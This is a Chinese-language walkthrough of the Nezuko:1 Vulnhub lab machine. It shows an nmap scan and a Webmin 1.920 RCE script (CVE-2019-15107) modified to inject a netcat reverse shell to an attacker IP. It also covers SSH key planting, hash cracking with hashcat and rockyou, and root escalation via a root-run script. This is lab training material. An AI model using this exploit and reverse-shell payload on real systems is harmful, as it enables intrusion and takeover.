Nezuko: 1 Vulnhub Walkthrough

 

下载地址:

https://www.vulnhub.com/entry/nezuko-1,352/

虚拟机启动,设置IP地址DHCP获取

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主机发现扫描:

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主机层面扫描:

╰─ nmap -p1-65535 -A 10.10.202.155
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-06 11:01 CST
Nmap scan report for 10.10.202.155
Host is up (0.00058s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:f5:b3:ff:35:a8:c8:24:42:66:64:a4:4b:da:b0:16 (RSA)
| 256 2e:0d:6d:5b:dc:fe:25:cb:1b:a7:a0:93:20:3a:32:04 (ECDSA)
|_ 256 bc:28:8b:e4:9e:8d:4c:c6:42:ab:0b:64:ea:8f:60:41 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to my site! - nezuko kamado
13337/tcp open http MiniServ 1.920 (Webmin httpd)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Login to Webmin
MAC Address: 00:0C:29:AD:23:CA (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

http://10.10.202.155/

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SSH 账户可能为:nezuko

尝试登录,发现有次数限制,因此无法SSH 爆破

目录探测:

http://10.10.202.155/robots.txt

NBUW45BAMZZG63JANZSXU5LLN4QDUIDUNBUXGIDJOMQG433UEB2GQZJAOJUWO2DUEBYG64TUEB2G6IDFNZ2W2ZLSMF2GKIC6O5PA====

base64 解码:

 

base32 在线解码:

hint from nezuko : this is not the right port to enumerate ^w^

https://10.10.202.156:13337

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Google search :

webmin 1.920 remote code execution

http://www.webmin.com/security.html

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exp:

https://www.exploit-db.com/exploits/47293

注意这里复制代码到kail linux 创建文件脚本进行使用

 

验证是够存在此漏洞:

╰─ sh webadmin.sh https://10.10.202.156:13337

 

进行反弹shell

修改脚本:

FLAG="f3a0c13c3765137bcde68572707ae5c0"
URI=$1;

echo -n "Testing for RCE (CVE-2019-15107) on $URI: ";
curl -ks $URI'/password_change.cgi' -d 'user=wheel&pam=&expired=2&old=id|nc -e /bin/bash 10.10.202.157 1234 &new1=wheel&new2=wheel' -H 'Cookie: redirect=1; testing=1; sid=x; sessiontest=1;' -H "Content-Type: application/x-www-form-urlencoded" -H 'Referer: '$URI'/session_login.cgi'|grep $FLAG>/dev/null 2>&1

if [ $? -eq 0 ];
then
echo '\033[0;31mVULNERABLE!\033[0m'
else
echo '\033[0;32mOK! (target is not vulnerable)\033[0m'
fi
#EOF

 

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进行提权操作

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本地生成秘钥文件,追加到此文件即可

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echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2x9ABskkvimTtiZClCxPTZwfaVUHWJv5l85Yu4f+ilmlXhuuQVd031ggdDyXAG38ts7V2RpvppfWxl5N3pO4dyoonnNgfgWEWBhaT3mNvjw+RLJAddpArCC7IJ87yE/WxMFKsVHyb+7rtZZIEBctawlWedrRzC5EHFcuQo0X9XKgFMukYadUVJB4L+CFolOH0/CdKNkFgcilmgjb83HyxfkSrPIXIr8ZtKjNf8uh4AdeaRNWFza1F23AFfXpJC71kImApsKX911W/ZpkefQfHKdEDh7sx8cpOb6K9IlGSadb20uyIMFDuKh8qTuPj4Nj6hL9UqYl2SP1DwMRnNz7v root@Gandolf" >> authorized_keys

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/etc/passwd 

zenitsu:$6$LbPWwHSD$69t89j0Podkdd8dk17jNKt6Dl2.QYwSJGIX0cE5nysr6MX23DFvIAwmxEHOjhBj8rBplVa3rqcVDO0001PY9G0

进行爆破下

这里使用hashcat,很强大的工具

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╰─ hashcat -m 1800 linuxhash.txt /usr/share/wordlists/rockyou.txt --force

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看到执行权限为root,应该是root运行的脚本,我们尝试使用这个来提权下

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本地监听444端口,5分钟之后执行反弹shell过来,获取root权限

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ok  完!

 

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